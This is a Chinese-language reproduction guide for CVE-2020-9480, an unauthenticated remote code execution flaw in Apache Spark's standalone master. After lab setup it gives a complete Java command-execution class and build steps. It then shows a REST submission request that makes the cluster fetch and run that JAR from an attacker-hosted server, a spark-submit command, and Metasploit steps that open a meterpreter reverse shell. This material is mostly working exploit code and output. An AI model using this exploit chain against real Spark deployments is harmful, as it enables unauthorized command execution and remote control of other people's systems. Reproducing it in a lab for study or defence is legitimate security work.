Apache Spark 任意代码执行漏洞(CVE-2020-9480)

0x01 漏洞简介

Apache Spark 是专为大规模数据处理而设计的快速通用的计算引擎。Apache Spark的独立资源管理器的主服务器可以通过配置共享密钥进行认证(spark.authenticate),但是在认证启用之后,即使没有共享密钥,也可以通过发送到主服务器的精心构造的远程过程调用指令在Spark集群上成功启动应用程序的资源,攻击者可以利用该漏洞在主机上执行任意命令。

Apache Spark的认证机制存在缺陷, 在开启密钥认证的情况下,未经验证的攻击者仍可通过精心构造的数据包进行远程代码执行。

0x02 影响版本

Apache Spark < = 2.4.5

0x03 环境搭建

下载环境:https://github.com/vulhub/vulhub/tree/master/spark/unacc

docker运行环境:docker-compose up -d

环境启动后,会自动启用三个端口:8080,8081,6066,7077

他们分别为 (1)master的管理页面:http://192.168.237.129:8080/

(2)slave的管理页面:http://your-ip:8081

(3)stadalone模式下,master将在6066端口启动一个http服务器

(4)7077,是在6066端口不能访问的情况下,或做了权限控制,可以利用master的主端口来提交应用。

0x04 漏洞复现

未授权的用户可以向管理节点提交一个应用,这个应用实际上是恶意代码。提交方法有两种。

(1)利用REST API

(2)利用submissions网关(集成在7077端口中)

应用可以是Java或Python,就是一个最简单的类,如

import java.io.BufferedReader;

import java.io.InputStreamReader;

public class Exploit {

public static void main(String[] args) throws Exception {

String[] cmds = args[0].split(",");

for (String cmd : cmds) {

System.out.println(cmd);

System.out.println(executeCommand(cmd.trim()));

System.out.println("==============================================");

}

}

// https://www.mkyong.com/java/how-to-execute-shell-command-from-java/

private static String executeCommand(String command) {

StringBuilder output = new StringBuilder();

try {

Process p = Runtime.getRuntime().exec(command);

p.waitFor();

BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));

String line;

while ((line = reader.readLine()) != null) {

output.append(line).append("\n");

}

} catch (Exception e) {

e.printStackTrace();

}

return output.toString();

}

}

将其编译成JAR,放在任意一个HTTP或FTP上

//打包成jar包

创建mainfest.mf文件,其中写入:Main-Class: Exploit

javac Exploit.java

jar cvfm Exploit.jar mainfest.mf Exploit.class

python -m http.server

REST API方式提交

standalone模式(Spark集群的三种运行模式之一)下,master将在6066端口启动一个HTTP服务器,我们向这个端口提交REST格式的API。访问并抓包

POST /v1/submissions/create HTTP/1.1

Host: 192.168.237.129:6066

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Content-Type: application/json

Connection: close

Content-Length: 631

{

"action": "CreateSubmissionRequest",

"clientSparkVersion": "2.3.1",

"appArgs": [

"whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf,touche /tmp/success"

],

"appResource": "http://192.168.237.1:8000/Exploit.jar",

"environmentVariables": {

"SPARK_ENV_LOADED": "1"

},

"mainClass": "Exploit",

"sparkProperties": {

"spark.jars": "http://192.168.237.1:8000/Exploit.jar",

"spark.driver.supervise": "false",

"spark.app.name": "Exploit",

"spark.eventLog.enabled": "true",

"spark.submit.deployMode": "cluster",

"spark.master": "spark://192.168.237.129:6066"

}

}

# 其中,spark.jars即是编译好的应用,mainClass是待运行的类,appArgs是传给应用的参数。

拦截抓包改包,会得到返回值:submissionId,然后访问http://192.168.237.129:8081/logPage/?driverId=driver-20221214091542-0000&logType=stdout,即可查看执行结果:

在这里插入图片描述

利用Submissions网关

如果6066端口不能访问,或做了权限控制,我们可以利用master的主端口7077,来提交应用。

方法是利用Apache Spark自带的脚本bin/spark-submit:

./spark-submit --master spark://192.168.237.129:7077 --deploy-mode cluster --class Exploit https://192.168.237.130/Exploit.jar id

如果你指定的master参数是rest服务器,这个脚本会先尝试使用rest api来提交应用;如果发现不是rest服务器,则会降级到使用submission gateway来提交应用

或者使用如下方法:

利用msf的模块进行使用

use exploit/linux/http/spark_unauth_rce

set payload java/meterpreter/reverse_tcp

set rhost 被攻击ip

set rport 6066

set lhost 攻击ip

set lport 4444

set srvhost 攻击ip

set srvport 8080

exploit

攻击成功后可以使用sessions -l 查看生成shell

文章来源

评论可见,请评论后查看内容,谢谢!!!
 您阅读本篇文章共花了: